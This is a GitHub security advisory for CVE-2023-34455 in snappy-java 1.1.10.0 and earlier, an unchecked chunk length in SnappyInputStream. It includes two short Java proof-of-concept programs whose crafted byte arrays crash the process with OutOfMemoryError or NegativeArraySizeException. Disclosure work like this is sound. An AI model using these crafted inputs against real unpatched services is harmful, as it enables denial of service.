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snappy-java's unchecked chunk length leads to DoS

High severity GitHub Reviewed Published Jun 14, 2023 in xerial/snappy-java • Updated Nov 11, 2023

Package

maven org.xerial.snappy:snappy-java (Maven)

Affected versions

<= 1.1.10.0

Patched versions

1.1.10.1

Description

Summary

Due to use of an unchecked chunk length, an unrecoverable fatal error can occur.

Impact

Denial of Service

Description

The code in the function hasNextChunk in the file SnappyInputStream.java checks if a given stream has more chunks to read. It does that by attempting to read 4 bytes. If it wasn’t possible to read the 4 bytes, the function returns false. Otherwise, if 4 bytes were available, the code treats them as the length of the next chunk.

        int readBytes = readNext(header, 0, 4);
        if (readBytes < 4) {
            return false;
        }

        int chunkSize = SnappyOutputStream.readInt(header, 0);
        if (chunkSize == SnappyCodec.MAGIC_HEADER_HEAD) {
            .........
        }

        // extend the compressed data buffer size
        if (compressed == null || chunkSize > compressed.length) {
            compressed = new byte[chunkSize];
        }

In the case that the “compressed” variable is null, a byte array is allocated with the size given by the input data. Since the code doesn’t test the legality of the “chunkSize” variable, it is possible to pass a negative number (such as 0xFFFFFFFF which is -1), which will cause the code to raise a “java.lang.NegativeArraySizeException” exception. A worse case would happen when passing a huge positive value (such as 0x7FFFFFFF), which would raise the fatal “java.lang.OutOfMemoryError” error.

Steps To Reproduce

Compile and run the following code:

package org.example;
import org.xerial.snappy.SnappyInputStream;

import java.io.*;

public class Main {

    public static void main(String[] args) throws IOException {
        byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff};
        SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));
        byte[] out = new byte[50];
        try {
            in.read(out);
        }
        catch (Exception ignored) {

        }
    }
}

The program will crash with the following error (or similar), even though there is a catch clause, since “OutOfMemoryError” does not get caught by catching the “Exception” class:

Exception in thread "main" java.lang.OutOfMemoryError: Requested array size exceeds VM limit
	at org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422)
	at org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167)
	at java.base/java.io.InputStream.read(InputStream.java:217)
	at org.example.Main.main(Main.java:12)

Alternatively - compile and run the following code:

package org.example;
import org.xerial.snappy.SnappyInputStream;

import java.io.*;

public class Main {

    public static void main(String[] args) throws IOException {
        byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff};
        SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));
        byte[] out = new byte[50];
        in.read(out);
    }
}

The program will crash with the following error (or similar):

Exception in thread "main" java.lang.NegativeArraySizeException: -1
	at org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422)
	at org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167)
	at java.base/java.io.InputStream.read(InputStream.java:217)
	at org.example.Main.main(Main.java:12)

It is important to note that these examples were written by using a flow that is generally used by developers, and can be seen for example in the Apache project “flume”: https://github.com/apache/flume/blob/f9dbb2de255d59e35e3668a5c6c66a268a055207/flume-ng-channels/flume-file-channel/src/main/java/org/apache/flume/channel/file/Serialization.java#L278. Since they used try-catch, the “NegativeArraySizeException” exception won’t harm their users, but the “OutOfMemoryError” error can.

References

@xerial xerial published to xerial/snappy-java Jun 14, 2023
Published to the GitHub Advisory Database Jun 15, 2023
Reviewed Jun 15, 2023
Published by the National Vulnerability Database Jun 15, 2023
Last updated Nov 11, 2023

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

0.116%
(47th percentile)

Weaknesses

CVE ID

CVE-2023-34455

GHSA ID

GHSA-qcwq-55hx-v3vh

Source code

Credits

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